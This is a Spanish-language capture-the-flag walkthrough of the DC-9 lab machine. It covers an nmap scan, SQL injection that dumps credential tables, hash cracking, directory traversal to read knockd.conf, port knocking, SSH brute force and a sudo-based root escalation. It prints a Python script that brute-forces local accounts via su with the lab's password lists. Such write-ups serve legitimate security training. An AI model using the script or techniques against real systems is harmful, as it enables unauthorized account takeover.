# OffSec DC-9

```javascript
# Nmap 7.94SVN scan initiated Sat May  4 06:23:54 2024 as: nmap -sCV -p80,22 -oN tar.txt 192.168.1.172
Nmap scan report for 192.168.1.172
Host is up (0.00083s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 a2:b3:38:74:32:74:0b:c5:16:dc:13:de:cb:9b:8a:c3 (RSA)
|   256 06:5c:93:87:15:54:68:6b:88:91:55:cf:f8:9a:ce:40 (ECDSA)
|_  256 e4:2c:88:da:88:63:26:8c:93:d5:f7:63:2b:a3:eb:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Example.com - Staff Details - Welcome
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May  4 06:24:02 2024 -- 1 IP address (1 host up) scanned in 7.40 seconds
```

Como siempre empezamos con Nmap para observar que puertos y servicios corren para este host en el cual solamente hay dos.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FYIm93XTqsmTf5Yr6fpFd%2F1.png?alt=media&#x26;token=30e59744-a32c-4988-9f4a-01de1c72bd5a" alt=""><figcaption></figcaption></figure>

Si nos vamos al puerto 80 en Display all encontramos algo de informacion pero no mucha, tipo tablas nombres de colaboradores o algo asi.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FEnLEMq36HONsch642ylk%2F2.png?alt=media&#x26;token=c5780d25-c722-42ca-b57f-e7519956ddfa" alt=""><figcaption></figcaption></figure>

Si nos vamos al buscador y primeramente solo ponemos mary me aparece la informacion sobre ella, pero si hacemos un order by hasta 6 igualmente me sigue apareciendo la misma informacion. Lo que nos indicaria que probablemente la web sea vulnerable a SQL Injection.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FzaeCrWJ4HwBhT0Wc1S6K%2F3.png?alt=media&#x26;token=239a5b06-5ff0-4eab-aa4b-8d86f31bc2f4" alt=""><figcaption></figcaption></figure>

Si pasamos la peticion por Burp Suite observamos que si es vulnerable ya que solicitamos la version de la base de datos y nos dice que es una MariaDB.

Ya con este hecho confirmado vamos a empezar a enumerar todo lo que haya aca, seremos simple en los terminos que usaremos ya que la maquina es un poco larguilla.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FhR4FfKnPVeAz6Zn6UK4T%2F4.png?alt=media&#x26;token=c6dbed19-d441-4ea9-bcb6-20cec83b8a85" alt=""><figcaption></figcaption></figure>

Iniciamos.

`schema_name` es el nombre de los esquemas (bases de datos) disponibles en el servidor de la base de datos. Se obtiene consultando la tabla `information_schema.schemata`. Es útil para tareas administrativas y para obtener información sobre la estructura de la base de datos.

Nos revela que tenemos tres <mark style="color:red;">information\_schema, Staff y Users.</mark>

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FD7SgbSUUrVA1yh5URBZN%2F5.png?alt=media&#x26;token=3d0c48c0-7609-4ff7-a85a-0c8680f49d13" alt=""><figcaption></figcaption></figure>

* Bueno tonces vamos primeramente por la de Staff, en la peticion del lado iziquierdo le decimos que nos muestre las tablas dadas para Staff.
* En segundo nos nuestra dos tablas lado derecho para la base dada Staff.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2F6j6ohWkvkPwv8U6GVSUQ%2F6.png?alt=media&#x26;token=c6d3df0d-99e2-4c78-a7b5-21625699049b" alt=""><figcaption></figcaption></figure>

* Ahora  le decimos muestrame las columnas dadas para la tabla Users.
* Nos muestra tres columnas UserID,Username y Password, obviamente ya sabemos por cual vamos.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FJDBSy2eWZDJjfqWAXquS%2F7.png?alt=media&#x26;token=a678033d-9158-4172-9c49-1ddf1f86ca6d" alt=""><figcaption></figcaption></figure>

Ahora haciendo uso de group\_concat le decimos, la peticion es tal que asi, muestrame la informacion que tiene Username y Password que estan dentro de la columna Users de la tabla Staff.

Tenemos un usario admin y una contraseña en hash.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FQOlgFaSNJpY1FKMH7FQ8%2F8.png?alt=media&#x26;token=c7e56c21-c067-4dac-80b1-a7a27570b2fb" alt=""><figcaption></figcaption></figure>

Nos vamos ah CrackStation y logra crackearla, ahora tenemos un usuario y una contraseña.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FXwdqOMM8kjlWprr0I34P%2F9.png?alt=media&#x26;token=a3774b6a-a4e6-48c5-8004-a526c5c6272f" alt=""><figcaption></figcaption></figure>

Bueno en la pagina nos vamos ah Manage y nos loguemos con las credenciales que ahora tenemos, pero no nos lleva a nada.

Hay que recordar que aparte de la Staff teniamos ah User. Asi que ahora vamos por esta otra base.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2Ft6PW2NVcZMSLJZvfpEc5%2F4.png?alt=media&#x26;token=366cad4d-33ea-4b25-b250-f91c8a8e3443" alt=""><figcaption></figcaption></figure>

Vamos por user.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FfyrnSdOSoo5Z5ZnNrwpT%2F10.png?alt=media&#x26;token=abd9f915-9e2d-4e74-89e4-80e03476be1b" alt=""><figcaption></figcaption></figure>

Lo mismo decimos muestrame las tablas que estan dentro de la base user, en lo cual nos muestra una unica tabla, UserDetails.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2F8FL8x5YKK8VTOSGnNaUk%2F11.png?alt=media&#x26;token=5d1d1b6d-c5e4-4d90-873f-b431dba16e0e" alt=""><figcaption></figcaption></figure>

Seguimos ahora la consulta es asi, muestrame las columnas dadas de la tabla UserDetails, nos muestra 5 columnas, las que nos interesa es username y password.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FZf6d0uCNehwmESrc5kXu%2F12.png?alt=media&#x26;token=643e30b0-c5cf-40c2-8428-1eb2e6e5eced" alt=""><figcaption></figcaption></figure>

Seguimos y haciendo uso de group\_concat le decimos, muestra lo que contiene username y password que estan dentro de la conlumna UserDetails dado de la tabla users.

Y tenemos info, multiples usuarios y posibles contraseñas.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FFmmnXNaBHvyQSq1C7wzd%2F13.png?alt=media&#x26;token=f887ad81-91be-4e61-847f-29e09420e486" alt=""><figcaption></figcaption></figure>

Vamos a ordenarlos usuarios y contraseñas cada uno en un archivo diferente siga los pasos que se ve en la captura.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2Fg9qkP2gZfrixAny0q1dw%2F14.png?alt=media&#x26;token=c30c2f12-3e13-46b9-8378-b79521a31d6d" alt=""><figcaption></figcaption></figure>

Ahora si lanzamos hydra oh si nos intentamos conectar nos dice que connection refused, podria ser que en vez de estar abierto el puerto oh este filtrado o tiene ciertas reglas.

Como proseguimos si no podemos hacer fuerza bruta,  bueno recuerde que tenemos acceso al dashboar de la web con las credenciales del admin.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FaFPN5tysfNRCpQWsrSkK%2F15.png?alt=media&#x26;token=515e937e-99b3-4d49-97b7-362a3263e863" alt=""><figcaption></figcaption></figure>

Buscando y buscando resulta que el propio dashboar tiene un Directory traversal podemos leer ciertos archivos basicamente solo tenemos permisos de lectura.

Vamos a buscar el config del ssh.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2F7dKzLNh9Q4127MItlbjp%2F16.png?alt=media&#x26;token=b5889490-4f8d-45cb-997e-20137f7231a0" alt=""><figcaption></figcaption></figure>

El archivo `knockd.conf` en Linux es utilizado por el servicio Knockd, que es una herramienta de seguridad que permite abrir puertos en un servidor remoto mediante una secuencia específica de "tocadas" (o peticiones) a otros puertos.&#x20;

Este archivo de configuración define las reglas de toques necesarios para desencadenar la apertura de puertos. Cada regla especifica los puertos que deben ser tocados y en qué secuencia para que se active una acción determinada, como abrir un puerto específico. Es una forma de implementar una capa adicional de seguridad al requerir una secuencia específica de toques antes de permitir el acceso a determinados servicios en el servidor.

Y tenemos la secuencia 7469,8475,9842.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2F2B3cl9UWj64hG7jynuud%2F17.png?alt=media&#x26;token=b2a54dcb-dd6d-4cb4-b831-139cb4bc9725" alt=""><figcaption></figcaption></figure>

Ahora usamos la herramienta knock para darle el toque y que el puerto se habra.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FsK8GfYjbi1pjb0odI9mr%2F18.png?alt=media&#x26;token=b8c341e8-34b5-4d0b-987d-93fb37c99f43" alt=""><figcaption></figcaption></figure>

Ahora si ya podemos usar hydra y tenemos un usuario y una contraseña para conectarnos por SSH.

Una vez conectados buscamos la forma de escalar privilegios pero adelanto que este usario esta mas pelado que un que.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2Feiul78kmf0YuBCXjLCIb%2F19.png?alt=media&#x26;token=b9f72737-4016-4646-928b-87b02b2f0021" alt=""><figcaption></figcaption></figure>

Recordemos los usarios que teniamos los podemos probar dentro ya de la maquina victima, pero aca no tenemos hydra entonces nos montaremos una utilidad en en python3 para hacer fuerza bruta.

<pre class="language-python"><code class="lang-python"><strong>#!/usr/bin/env python3
</strong><strong>autor: rodgar
</strong><strong>
</strong><strong>import subprocess
</strong>
def verificar_contraseña(usuario, contraseña):
    # Intentar autenticar al usuario con la contraseña proporcionada
    proceso = subprocess.Popen(['su', usuario, '-c', 'echo success'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    salida, error = proceso.communicate(input=(contraseña + '\n').encode())

    # Verificar si la autenticación fue exitosa
    if proceso.returncode == 0:
       
        return True
    else:
        
        return False

# Lista de usuarios y contraseñas
usuarios = ["barneyr", "bettyr", "chandlerb", "fredf", "janitor2", "janitor", "jerrym", "joeyt", "julied", "marym", "monicag", "phoebeb", "rachelg", "rossg", "scoots", "tomc", "wilmaf$
contraseñas = ["RocksOff", "BamBam01", "UrAG0D!", "4sfd87sfd1", "Hawaii-Five-0", "Ilovepeepee", "B8m#48sd", "Passw0rd", "468sfdfsd2", "3kfs86sfd", "3248dsds7s", "smellycats", "yN72#ds$

# Función para imprimir en color
def imprimir_color(mensaje, color):
    print("\033[" + color + "m" + mensaje + "\033[0m")

# Iterar sobre cada usuario
for usuario in usuarios:
    # Variable para controlar si se encontró una contraseña válida para el usuario
    contraseña_encontrada = False
    
    # Iterar sobre cada contraseña para el usuario actual
    for contraseña in contraseñas:
        if verificar_contraseña(usuario, contraseña):
            
            imprimir_color("[+] Contraseña válida! Usuario: " + usuario + " Contraseña: " + contraseña, "92")
            
            contraseña_encontrada = True
            break
    
    # Si ninguna contraseña fue válida, imprimir un mensaje en rojo
    if not contraseña_encontrada:
        imprimir_color("[-] Contraseña invalida para el usuario: " + usuario, "91")
</code></pre>

Nos creamos este script en /tmp o /dev/shm. Lo ejecutamos y ahora observamos que tenemos dos usuarios mas con su respectiva contraseña.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FZ4mokl2ZceYYqSLc7dtq%2F20.png?alt=media&#x26;token=d86ab9fa-0515-476d-bb3b-878080c4b7f9" alt=""><figcaption></figcaption></figure>

Hacemos un pivoteo de usuario ah janitor y en su directorio personal econtramos mas contraseñas bajo un directorio oculto.

Haremos lo mismo.

***

```python
#!/usr/bin/env python3 
autor: rodgar

import subprocess

def verificar_contraseña(usuario, contraseña):
    # Intentar autenticar al usuario con la contraseña proporcionada
    proceso = subprocess.Popen(['su', usuario, '-c', 'echo success'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    salida, error = proceso.communicate(input=(contraseña + '\n').encode())

    # Verificar si la autenticación fue exitosa
    if proceso.returncode == 0:
       
        return True
    else:
        
        return False

# Lista de usuarios y contraseñas
usuarios = ["barneyr", "bettyr", "chandlerb", "fredf", "janitor2", "janitor", "jerrym", "joeyt", "julied", "marym", "monicag", "phoebeb", "rachelg", "rossg", "scoots", "tomc", "wilmaf$
contraseñas = ["BamBam01", "Passw0rd", "smellycats", "P0Lic#10-4", "B4-Tru3-001", "4uGU5T-NiGHts"]

# Función para imprimir en color
def imprimir_color(mensaje, color):
    print("\033[" + color + "m" + mensaje + "\033[0m")

# Iterar sobre cada usuario
for usuario in usuarios:
    # Variable para controlar si se encontró una contraseña válida para el usuario
    contraseña_encontrada = False
    
    # Iterar sobre cada contraseña para el usuario actual
    for contraseña in contraseñas:
        if verificar_contraseña(usuario, contraseña):
            
            imprimir_color("[+] Contraseña válida! Usuario: " + usuario + " Contraseña: " + contraseña, "92")
            
            contraseña_encontrada = True
            break
    
    # Si ninguna contraseña fue válida, imprimir un mensaje en rojo
    if not contraseña_encontrada:
        imprimir_color("[-] Contraseña invalida para el usuario: " + usuario, "91")
```

El mismo script solo que cambiamos las contraseñas ah las nuevas que tenemos.



<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FbRdLYalu74PsJmXaRbgk%2F21.png?alt=media&#x26;token=bc30f374-9dea-4c0c-8d73-d9555c9c72ac" alt=""><figcaption></figcaption></figure>

Observamos que tenemos un nuevo usuario y otro que ya teniamos.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2Febbs6QAHoMOzdxOaf74V%2F22.png?alt=media&#x26;token=8fafa5ba-0619-4de9-a61d-5884c466867b" alt=""><figcaption></figcaption></figure>

Hacemos un nuevo pivoteo de usuario, de janitor ah fredf y si hacemos un sudo -l observamos que tenemos este privilegio.

No voy ah explicar en que consiste estoy cansado jefe.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2FhyjilpkizsI81nTfT1aU%2F23.png?alt=media&#x26;token=a97d2fb7-f428-462f-80c0-6531a58f6a5c" alt=""><figcaption></figcaption></figure>

Usando openssl nos creamos una contraseña.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2F3KAwyWgptxDEnXTzyHPn%2F24.png?alt=media&#x26;token=04610141-4412-4777-9189-27e8a717ac22" alt=""><figcaption></figcaption></figure>

Ahora creamos un archivo usuario en /tmp y le asignamos un nombre de usuario y la contraseña que generamos.

***

<figure><img src="https://1827363921-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEGJvvgIusdsLKeoExX1C%2Fuploads%2Fi6vBTTMfW2a4y652nALP%2F25.png?alt=media&#x26;token=dccb00cc-3cf5-4fb5-a169-9064acbdbc20" alt=""><figcaption></figcaption></figure>

Lo ejecutamos, y si hacemos un su rodGAR nos pedira la contraseña que creamos y wala somos root señores, espero hayas podido seguir el ritmo y resolverla.
